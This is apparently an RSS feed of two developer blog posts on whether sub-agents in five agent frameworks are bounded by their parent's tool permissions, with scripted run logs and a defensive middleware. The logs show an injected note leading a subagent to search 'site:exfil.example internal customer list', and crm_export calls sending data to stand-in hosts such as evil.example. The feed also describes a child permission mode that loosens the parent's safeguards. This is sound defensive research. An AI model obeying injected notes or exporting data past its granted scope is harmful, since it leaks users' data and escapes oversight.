<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Rafael Asor</title>
    <description>The latest articles on DEV Community by Rafael Asor (@rafael_asor).</description>
    <link>https://dev.to/rafael_asor</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F4105404%2Fc4a41e64-9d87-4ec9-913a-8f961b5ac1ee.jpg</url>
      <title>DEV Community: Rafael Asor</title>
      <link>https://dev.to/rafael_asor</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/rafael_asor"/>
    <language>en</language>
    <item>
      <title>Does a LangGraph subagent inherit its parent's tool permissions? I tested it.</title>
      <dc:creator>Rafael Asor</dc:creator>
      <pubDate>Wed, 02 Sep 2026 10:11:06 +0000</pubDate>
      <link>https://dev.to/rafael_asor/does-a-langgraph-subagent-inherit-its-parents-tool-permissions-i-tested-it-4m6a</link>
      <guid>https://dev.to/rafael_asor/does-a-langgraph-subagent-inherit-its-parents-tool-permissions-i-tested-it-4m6a</guid>
      <description>&lt;p&gt;I gave a supervisor agent in Deep Agents 0.7.6 exactly one tool, &lt;code&gt;write_brief&lt;/code&gt;. It spawned a writer subagent. The writer ran a web search for &lt;code&gt;site:exfil.example internal customer list&lt;/code&gt;, because a note in its input told it to. Nothing checked that call against what the supervisor held.&lt;/p&gt;

&lt;p&gt;This isn't a bug. LangChain's Deep Agents permissions page says a subagent spec "replaces the parent's rules entirely". The spec is a fresh grant. A LangChain maintainer filed issue #33879 about a general subagent middleware in November 2025. It's still open, one PR closed unmerged, one still a draft.&lt;/p&gt;

&lt;p&gt;So I wanted to see what it takes to make the child hold at most what the parent holds. Here's the run. 2026-09-02, langchain 1.3.15, deepagents 0.7.6, no API key, scripted model.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[1] langchain 1.3.15 + deepagents 0.7.6, no guard
    supervisor holds write_brief; the `writer` subagent's spec also lists web_search
    writer's tool bodies that ran: [('web_search', 'site:exfil.example internal customer list'), ('write_brief', 'Q3 brief.')]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;Tools&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Supervisor held&lt;/td&gt;
&lt;td&gt;&lt;code&gt;write_brief&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Writer's spec listed&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;web_search&lt;/code&gt;, &lt;code&gt;write_brief&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Writer actually ran&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;web_search&lt;/code&gt; (attacker's query), &lt;code&gt;write_brief&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  Why the child isn't bounded
&lt;/h2&gt;

&lt;p&gt;In Deep Agents each subagent spec carries its own &lt;code&gt;tools&lt;/code&gt; list. &lt;code&gt;deepagents/middleware/subagents.py&lt;/code&gt; compiles each spec with &lt;code&gt;create_sub_agent(spec)&lt;/code&gt;. There's no step that intersects that list with the caller's. The &lt;a href="https://docs.langchain.com/oss/python/deepagents/permissions" rel="noopener noreferrer"&gt;permissions page&lt;/a&gt; says it for the rules it does ship:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Subagents inherit the parent agent's permissions by default… This replaces the parent's rules entirely.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;And core has no subagent middleware yet. &lt;a href="https://github.com/langchain-ai/langchain/issues/33879" rel="noopener noreferrer"&gt;#33879&lt;/a&gt;, filed 2025-11-07: &lt;em&gt;"Add subagent middleware — inspired by deepagents sub agent middleware… Got a good start here, but now out of date."&lt;/em&gt; PR 33484 closed unmerged. PR 39019 is a draft.&lt;/p&gt;

&lt;h2&gt;
  
  
  You won't see it in the parent's state
&lt;/h2&gt;

&lt;p&gt;This is the part that bit me. Deep Agents collapses a subagent's whole transcript into a single &lt;code&gt;ToolMessage&lt;/code&gt; for the supervisor. Print the supervisor's messages and the writer's search isn't there. You see "Brief written." If you want to know what a subagent called, you have to record it at the tool boundary yourself.&lt;/p&gt;

&lt;h2&gt;
  
  
  Twelve lines that bound the child
&lt;/h2&gt;

&lt;p&gt;LangChain gives you the seam. &lt;code&gt;wrap_tool_call&lt;/code&gt; in a middleware gets the &lt;code&gt;ToolCallRequest&lt;/code&gt; and the handler. Don't call the handler, the tool doesn't run. Documented parameter, no monkeypatching.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;langchain.agents.middleware&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;AgentMiddleware&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;langchain_core.messages&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;ToolMessage&lt;/span&gt;

&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;BoundedByParent&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;AgentMiddleware&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="sh"&gt;"""&lt;/span&gt;&lt;span class="s"&gt;A subagent may call only tools its parent holds.&lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt;
    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;__init__&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;parent_tools&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;set&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;]):&lt;/span&gt;
        &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;parent_tools&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;parent_tools&lt;/span&gt;
    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;wrap_tool_call&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;handler&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="n"&gt;name&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;tool_call&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;name&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;parent_tools&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nc"&gt;ToolMessage&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;content&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;denied: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; is not held by the parent&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                               &lt;span class="n"&gt;tool_call_id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;tool_call&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;id&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;error&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;handler&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Put &lt;code&gt;BoundedByParent({"write_brief"})&lt;/code&gt; in the writer spec's &lt;code&gt;middleware&lt;/code&gt; list. Same tree, same scripted model, same note:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;bounded_by_parent=False: tool bodies that ran: [('web_search', 'site:exfil.example internal customer list'), ('write_brief', 'Q3 brief.')]
bounded_by_parent=True:  tool bodies that ran: [('write_brief', 'Q3 brief.')]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That's the whole idea. The child's grant is the intersection of what it asks for and what the parent has. If you only need tool names, stop here and paste it.&lt;/p&gt;

&lt;h2&gt;
  
  
  What I needed beyond tool names
&lt;/h2&gt;

&lt;p&gt;Tool names weren't enough for me. A subagent that holds &lt;code&gt;web_search&lt;/code&gt; with a 10,000 row limit is not the same as one with 50. A child that lives for 9,999 seconds after its parent expired is a problem. And when the writer got denied, I wanted a record I could hand to someone who doesn't trust my process.&lt;/p&gt;

&lt;p&gt;So I put the same idea into a library, &lt;code&gt;attenu-guard&lt;/code&gt;, with scopes, ceilings and a lifetime instead of names. The only line that matters:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# child = meet(parent, request): the child gets the intersection, never more
&lt;/span&gt;&lt;span class="n"&gt;guarded&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;GuardedDelegation&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;root&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;tools&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;POLICIES&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;subagents&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;researcher&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;RESEARCHER_REQUEST&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;writer&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;WRITER_REQUEST&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;
    &lt;span class="n"&gt;delegation_tool&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;task&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;subagent_arg&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;subagent_type&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;mw&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;guarded&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;middleware&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;   &lt;span class="c1"&gt;# on the supervisor AND on each subagent spec
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The researcher asks for &lt;code&gt;web.*&lt;/code&gt;, &lt;code&gt;admin.export&lt;/code&gt;, 10,000 rows and 9,999 seconds:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;    researcher requested ['admin.export', 'web.*'], 10000 rows, ttl 9999
    researcher GRANTED   ['web.search'], 50 rows, ttl 3600
    writer     GRANTED   ['brief.write']
      ALLOW  web_search   scope=web.search
      DENY   web_search   scope=web.search  (scope_not_granted)
      ALLOW  write_brief  scope=brief.write
    hash chain verifies: True (8 events, audit.jsonl)
    attenu-guard verify evidence-bundle.json --pubkey 9f5513de2af51b76…
integrity=True monotonicity=True containment=True anchor=verified nodes=3 actions_checked=2
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;monotonicity=True&lt;/code&gt; means every child in the bundle is a subset of its parent, checked from the bundle file alone. Nothing of mine needs to be running when you check it. Full config is in the recipe linked below.&lt;/p&gt;

&lt;h2&gt;
  
  
  Where neither version helps
&lt;/h2&gt;

&lt;p&gt;Both sit on LangChain's tool dispatch. A direct Python call around the framework, &lt;code&gt;web_search.invoke({...})&lt;/code&gt; from your own code, isn't a tool call the middleware sees. A subagent runs its own agent loop, so a spec without the middleware is a hole, not a narrowing. The recipe has a &lt;code&gt;require_guard()&lt;/code&gt; that refuses to build a tree where any spec is missing it, and a test that shows the hole is real when you skip that check. Neither version sees other processes or the credentials your process holds.&lt;/p&gt;

&lt;h2&gt;
  
  
  So, does a LangGraph subagent inherit its parent's tool permissions?
&lt;/h2&gt;

&lt;p&gt;No. In Deep Agents 0.7.6 a subagent gets whatever its own spec lists. The parent's tools aren't consulted, and a child can hold a tool its parent never had. Bounding it is one middleware on the subagent spec.&lt;/p&gt;

&lt;p&gt;I ran the same question against CrewAI, Claude Code, the OpenAI Agents SDK and Google ADK. The table: &lt;a href="https://attenu.io/blog/sub-agent-permissions-five-frameworks/?utm_source=devto&amp;amp;utm_medium=syndication&amp;amp;utm_campaign=subagent-permissions" rel="noopener noreferrer"&gt;Does a sub-agent inherit its parent's permissions? Five frameworks, five answers&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Run it yourself
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;pip &lt;span class="nb"&gt;install&lt;/span&gt; &lt;span class="s1"&gt;'attenu-guard[deepagents]'&lt;/span&gt;
git clone https://github.com/attenu-io/attenu-guard &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;cd &lt;/span&gt;attenu-guard
python examples/integrations/langgraph/subagent_middleware/demo.py
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Exit 0, every expectation held. Exit 3, the upstream premise changed: core ships a subagent middleware, or a subagent's tools are now bounded by the parent's. The test pins that and will tell me the day it stops being true.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://github.com/attenu-io/attenu-guard/tree/main/examples/integrations/langgraph/subagent_middleware" rel="noopener noreferrer"&gt;The LangGraph subagent recipe with tests&lt;/a&gt; is in the attenu-guard repo.&lt;/p&gt;

&lt;p&gt;If you're bounding subagents differently in your own trees, I want to hear it. Especially if you found a way inside Deep Agents without an extra middleware.&lt;/p&gt;

</description>
      <category>langchain</category>
      <category>python</category>
      <category>ai</category>
      <category>llm</category>
    </item>
    <item>
      <title>Does a sub-agent inherit its parent's permissions? Five frameworks, five answers.</title>
      <dc:creator>Rafael Asor</dc:creator>
      <pubDate>Wed, 02 Sep 2026 10:11:05 +0000</pubDate>
      <link>https://dev.to/rafael_asor/does-a-sub-agent-inherit-its-parents-permissions-five-frameworks-five-answers-4cm4</link>
      <guid>https://dev.to/rafael_asor/does-a-sub-agent-inherit-its-parents-permissions-five-frameworks-five-answers-4cm4</guid>
      <description>&lt;p&gt;When agent A hands work to agent B, what can B call? I assumed the answer was "at most what A can call". It isn't, in any of the five frameworks I use. Here's what each one actually does, from runs I did on 2026-09-02 with scripted models and no API key.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Framework&lt;/th&gt;
&lt;th&gt;Child inherits parent's tools?&lt;/th&gt;
&lt;th&gt;Handoff can widen?&lt;/th&gt;
&lt;th&gt;Built-in narrowing?&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;LangGraph / Deep Agents 0.7.6&lt;/td&gt;
&lt;td&gt;No. Child runs its own spec.&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;None&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CrewAI 1.15.16&lt;/td&gt;
&lt;td&gt;No. Coworker runs its own list.&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;None. A hierarchical manager may hold no tools at all.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Claude Code 2.1.258 / Agent SDK 0.2.139&lt;/td&gt;
&lt;td&gt;Yes, by default.&lt;/td&gt;
&lt;td&gt;Tools no. Permission mode yes.&lt;/td&gt;
&lt;td&gt;Partial. Tool pool is capped at the parent's.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;OpenAI Agents SDK 0.22.0&lt;/td&gt;
&lt;td&gt;No. Target runs its own list.&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;None. &lt;code&gt;input_filter&lt;/code&gt; edits history, not tools.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Google ADK 2.7.1&lt;/td&gt;
&lt;td&gt;No. Sub-agent runs its own list.&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;None. &lt;code&gt;disallow_transfer_to_peers&lt;/code&gt; picks targets, not tools.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;"Widen" means: the child executed a tool the parent never held, through the framework's own handoff. Every run below prints which tool bodies actually ran, so the answer doesn't depend on reading the model's text.&lt;/p&gt;

&lt;h2&gt;
  
  
  LangGraph and Deep Agents
&lt;/h2&gt;

&lt;p&gt;Supervisor holds &lt;code&gt;write_brief&lt;/code&gt;. The writer subagent's spec lists &lt;code&gt;write_brief&lt;/code&gt; and &lt;code&gt;web_search&lt;/code&gt;. A note in the writer's input tells it to search.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[1] langchain 1.3.15 + deepagents 0.7.6, no guard
    supervisor holds write_brief; the `writer` subagent's spec also lists web_search
    writer's tool bodies that ran: [('web_search', 'site:exfil.example internal customer list'), ('write_brief', 'Q3 brief.')]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;LangChain says it plainly. Deep Agents &lt;a href="https://docs.langchain.com/oss/python/deepagents/permissions" rel="noopener noreferrer"&gt;permissions&lt;/a&gt;: "Subagents inherit the parent agent's permissions by default… This replaces the parent's rules entirely." A general subagent middleware in core is &lt;a href="https://github.com/langchain-ai/langchain/issues/33879" rel="noopener noreferrer"&gt;#33879&lt;/a&gt;, open since 2025-11-07. The fix is one middleware on the subagent spec, twelve lines. I wrote that up separately: &lt;a href="https://attenu.io/blog/langgraph-subagent-middleware/?utm_source=devto&amp;amp;utm_medium=syndication&amp;amp;utm_campaign=subagent-permissions" rel="noopener noreferrer"&gt;Does a LangGraph subagent inherit its parent's tool permissions? I tested it.&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  CrewAI
&lt;/h2&gt;

&lt;p&gt;Orchestrator holds &lt;code&gt;crm_query&lt;/code&gt; and &lt;code&gt;allow_delegation=True&lt;/code&gt;. The &lt;code&gt;exporter&lt;/code&gt; coworker declares &lt;code&gt;crm_query&lt;/code&gt; and &lt;code&gt;crm_export&lt;/code&gt;. The orchestrator delegates with CrewAI's own "Delegate work to coworker" tool.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;  RUN 2  Orchestrator delegates to `exporter`, which declares crm_export
      [TOOL BODY RAN] crm_query(rows=4200)
      [TOOL BODY RAN] crm_export -&amp;gt; https://evil.example/drop
  parent tool set   ['crm_query', 'delegate_work_to_coworker', 'ask_question_to_coworker']
  child tool set    ['crm_query', 'crm_export']
  child ran crm_export -- a tool the parent does NOT hold? True
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The mechanism: the delegation tool calls &lt;code&gt;execute_task&lt;/code&gt; on the coworker with no tools argument, and the coworker resolves &lt;code&gt;tools or agent.tools or []&lt;/code&gt;. The delegating agent isn't a term in that expression. A coworker that declares &lt;code&gt;tools=[]&lt;/code&gt; gets nothing, not the parent's set.&lt;/p&gt;

&lt;p&gt;The part that surprised me is &lt;code&gt;Process.hierarchical&lt;/code&gt;. The manager's visible tools are only the two delegation tools, and a manager that declares any tool is rejected:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;  RUN 4b  A manager agent that DOES declare a tool
  CrewAI raised: Exception: Manager agent should not have tools
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;So in hierarchical mode the delegator always holds less than its workers. That's a routing design, and the docs describe &lt;code&gt;allow_delegation&lt;/code&gt; as routing: "When &lt;code&gt;allow_delegation=True&lt;/code&gt;, agents automatically gain access to powerful collaboration tools" (&lt;a href="https://docs.crewai.com/en/concepts/collaboration" rel="noopener noreferrer"&gt;collaboration&lt;/a&gt;). I couldn't find a sentence about what tools the coworker runs with. Upstream: &lt;a href="https://github.com/crewAIInc/crewAI/issues/2917" rel="noopener noreferrer"&gt;#2917&lt;/a&gt; "Allow delegation to specific agents only" closed by the stale bot, &lt;a href="https://github.com/crewAIInc/crewAI/pull/2068" rel="noopener noreferrer"&gt;PR #2068&lt;/a&gt; closed unmerged, and even that would have constrained who you delegate to, not what the delegate can call. &lt;a href="https://github.com/crewAIInc/crewAI/issues/5888" rel="noopener noreferrer"&gt;#5888&lt;/a&gt;, a governance hook for tool authorization, is open.&lt;/p&gt;

&lt;h2&gt;
  
  
  Claude Code and the Claude Agent SDK
&lt;/h2&gt;

&lt;p&gt;This one is different, and the difference is worth understanding. Claude Code has two things people both call permissions.&lt;/p&gt;

&lt;p&gt;The tool pool is &lt;code&gt;tools&lt;/code&gt; (&lt;code&gt;--tools&lt;/code&gt;). A subagent that omits &lt;code&gt;tools&lt;/code&gt; "inherits every tool available to subagents if omitted" (&lt;a href="https://code.claude.com/docs/en/sub-agents" rel="noopener noreferrer"&gt;sub-agents&lt;/a&gt;). A subagent that lists tools gets only those, and "a tool you leave out isn't in the subagent's session at all" (&lt;a href="https://code.claude.com/docs/en/agent-sdk/subagents" rel="noopener noreferrer"&gt;SDK subagents&lt;/a&gt;). The pool is the parent's, narrowed. Tools can't widen here.&lt;/p&gt;

&lt;p&gt;The permission rules are &lt;code&gt;allowed_tools&lt;/code&gt; and the permission mode. &lt;code&gt;allowed_tools&lt;/code&gt; is "tool names that are auto-allowed without prompting for permission", per the SDK source. It's an auto-approve list, not a restriction. And the mode precedence is stated in one direction only: "If the parent uses &lt;code&gt;bypassPermissions&lt;/code&gt; or &lt;code&gt;acceptEdits&lt;/code&gt;, this takes precedence and can't be overridden." Nothing says a stricter parent clamps a looser child. A parent in the default manual mode with a child declaring &lt;code&gt;bypassPermissions&lt;/code&gt; is a documented widening of the permission grant.&lt;/p&gt;

&lt;p&gt;I didn't run this one live. I drove the SDK's real command builder and read what goes to the CLI:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;parent  options.tools        = ['Read', 'Grep', 'Glob', 'Agent']
parent  permission_mode      = default (Manual)
child   AgentDefinition.tools= ['Read', 'Bash', 'WebFetch']
child   permissionMode       = bypassPermissions
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The child's &lt;code&gt;tools&lt;/code&gt; go out verbatim in the initialize request. The parent's limits travel on separate CLI flags. A sweep of the installed SDK for intersection logic found none. Four upstream issues about subagent permissions not being bounded by the parent's (&lt;a href="https://github.com/anthropics/claude-code/issues/20264" rel="noopener noreferrer"&gt;#20264&lt;/a&gt;, &lt;a href="https://github.com/anthropics/claude-code/issues/12232" rel="noopener noreferrer"&gt;#12232&lt;/a&gt;, &lt;a href="https://github.com/anthropics/claude-code/issues/40343" rel="noopener noreferrer"&gt;#40343&lt;/a&gt;, &lt;a href="https://github.com/anthropics/claude-code/issues/25000" rel="noopener noreferrer"&gt;#25000&lt;/a&gt;) are all closed, none by a fix. The way to bound a subagent's actions today is a &lt;code&gt;PreToolUse&lt;/code&gt; hook, and I have &lt;a href="https://attenu.io/blog/claude-code-hooks-receipt/?utm_source=devto&amp;amp;utm_medium=syndication&amp;amp;utm_campaign=subagent-permissions" rel="noopener noreferrer"&gt;a PreToolUse hook that leaves a receipt&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  OpenAI Agents SDK
&lt;/h2&gt;

&lt;p&gt;Triage holds &lt;code&gt;crm_query&lt;/code&gt;. The specialist it hands off to declares &lt;code&gt;crm_query&lt;/code&gt; and &lt;code&gt;crm_export&lt;/code&gt;. Handoffs are tools to the model, so triage calls &lt;code&gt;transfer_to_specialist&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;EXPERIMENT A — triage {crm_query}; handoff -&amp;gt; specialist {crm_query, crm_export}
  final agent: specialist
  tool bodies that RAN      : [('crm_query', 50), ('crm_export', 'https://exfil.example/drop')]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A handoff target that declares no tools gets none, not triage's:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;EXPERIMENT B — triage {crm_query}; handoff target declares NO tools
  SDK raised: ModelBehaviorError: Tool crm_query not found in agent bare
  tools offered to bare        : []
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;People point at &lt;code&gt;input_filter&lt;/code&gt; as the permission mechanism. It isn't. Every field of &lt;code&gt;HandoffInputData&lt;/code&gt; is conversation history. I wrote a filter that emptied the whole history and &lt;code&gt;crm_export&lt;/code&gt; still ran. The &lt;a href="https://openai.github.io/openai-agents-python/handoffs/" rel="noopener noreferrer"&gt;handoffs docs&lt;/a&gt; are consistent with that: "it's as though the new agent takes over the conversation, and gets to see the entire previous conversation history", and "Input guardrails still apply only to the first agent in the chain." Agents-as-tools widens the same way, inside the parent's own turn. I wrote up &lt;a href="https://attenu.io/blog/openai-agents-one-policy/?utm_source=devto&amp;amp;utm_medium=syndication&amp;amp;utm_campaign=subagent-permissions" rel="noopener noreferrer"&gt;one policy for two Agents SDK agents&lt;/a&gt; separately. Upstream, &lt;a href="https://github.com/openai/openai-agents-python/issues/2515" rel="noopener noreferrer"&gt;#2515&lt;/a&gt; named it, "When Agent A hands off to Agent B, there is no mechanism to validate trust levels", and a maintainer answered "We don't have immediate plans to add this feature to the core SDK." Closed 2026-03-08.&lt;/p&gt;

&lt;h2&gt;
  
